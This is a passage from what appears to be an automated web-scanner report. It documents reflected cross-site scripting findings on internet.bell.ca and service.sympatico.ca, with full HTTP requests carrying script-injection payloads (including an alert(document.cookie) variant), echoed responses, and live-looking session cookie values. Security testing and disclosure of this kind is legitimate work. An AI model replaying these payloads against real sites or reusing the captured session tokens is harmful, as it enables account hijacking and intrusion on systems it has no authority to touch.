Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:39 GMT
Connection: close
Set-Cookie: SMSESSION=lVkSeRhXzw/T4uv3fAvd9NMUlOQhh1AjJ0hNq4t8n5YTGMR/OW6XPhRpi0SJCvHpOU7yURRaBZxlizO6o6IiGCpaqtSxeF8F+QR4qIBjGT6AkkTqXc/GKOgGElBnDMJ2ZHazHMQvTSAKW+AriEJkuN+0GJsWJOYA1cDIhFzU8V1U4wL1PEi8iKfbLfKESDJgktMVLhOgl2SovNWc3U08WMoE9b2CytpVzb/fFIDybteK9NcLBWzKdPDLsbFWPf6rp9YIpLotho1QM4bsBboAca/1JMwPpBaoc4940e+mRU11D/Pa4EowUA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:39 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:39 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:39 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:39 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:39 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:39 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:39 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:39 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:39 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:39 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/jscadd7"><script>alert(1)</script>6a98a71d9f1/tooltip.js" />
...[SNIP]...

2.67. http://internet.bell.ca/js/tooltip.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/tooltip.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload adc49"><script>alert(1)</script>8688afbd883 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/tooltip.jsadc49"><script>alert(1)</script>8688afbd883 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:53 GMT
Connection: close
Set-Cookie: SMSESSION=lNqcs/wtrOzy1TUqZJUskILTxvsWR+ieuKa+oyuvCj2c2GrrzhVziP5L6sGdKsXEoWD+E0PT6DOzz7HNt1jJaTzlmj9RuDyZethe70DUJ4IxOC0PSDqwtfZh/3/97E+jHthSMlsGWj4Mq3oe7mTohWBOYbx8P9bo2qgnK6YPO0mS+DljmHWuCGdA9Qz8xY+kKp8XsI5qZgt66dLVlHptMeBnt+NG3ikRBaAGtIZbn9yrs/Z61YoWE7z1HWbBkkKDQj10SUDizX+PzGVyNePlAGj5ffFSBoKlOK1VZNRBo6s0QNhIjg2glQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:54 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:54 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:54 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:54 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:54 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:54 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:54 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:54 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:54 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:54 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/tooltip.jsadc49"><script>alert(1)</script>8688afbd883" />
...[SNIP]...

2.68. http://service.sympatico.ca/css/glossaryDefinition.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /css/glossaryDefinition.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2e42"><script>alert(1)</script>33dbfc5779d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /csse2e42"><script>alert(1)</script>33dbfc5779d/glossaryDefinition.css HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:58 GMT
Connection: close
Set-Cookie: SMSESSION=Z0s9ke/lH3D7xPjivEVEs7WtmHvY+/+kJ2BkjRFclgw2Jff87mZGMD9JBXtlgJpxqQjpbVqFNHwk32K5R3eahOU1+fTodKAx4B27uhA8hNlfS+qyEbBEeloN2dEulRJe+6xCE5tdGLNHgJ/833BQF/11KG0OSoRXXxhenmcsvWcq2Dbk6xD8VtXZMuwT2ZM7e59x2Sno+hUp+NLm7CZhux0Dg1wO2GYiUIJwn10uQ3p2KQbzBN1KHMPh+mK0JC1L9Tv4jVsKe7gXiN7bzwBZuCg2+7fOFEM+2HqzLF97X24pqmwaM9d73w==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:05:58 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:05:58 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:05:58 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:05:58 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:58 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:58 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:58 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:58 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:58 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:58 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:58 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:58 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:58 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:58 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/csse2e42"><script>alert(1)</script>33dbfc5779d/glossaryDefinition.css" />
...[SNIP]...

2.69. http://service.sympatico.ca/css/glossaryDefinition.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /css/glossaryDefinition.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3cff3"><script>alert(1)</script>0ba1c881b16 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/glossaryDefinition.css3cff3"><script>alert(1)</script>0ba1c881b16 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
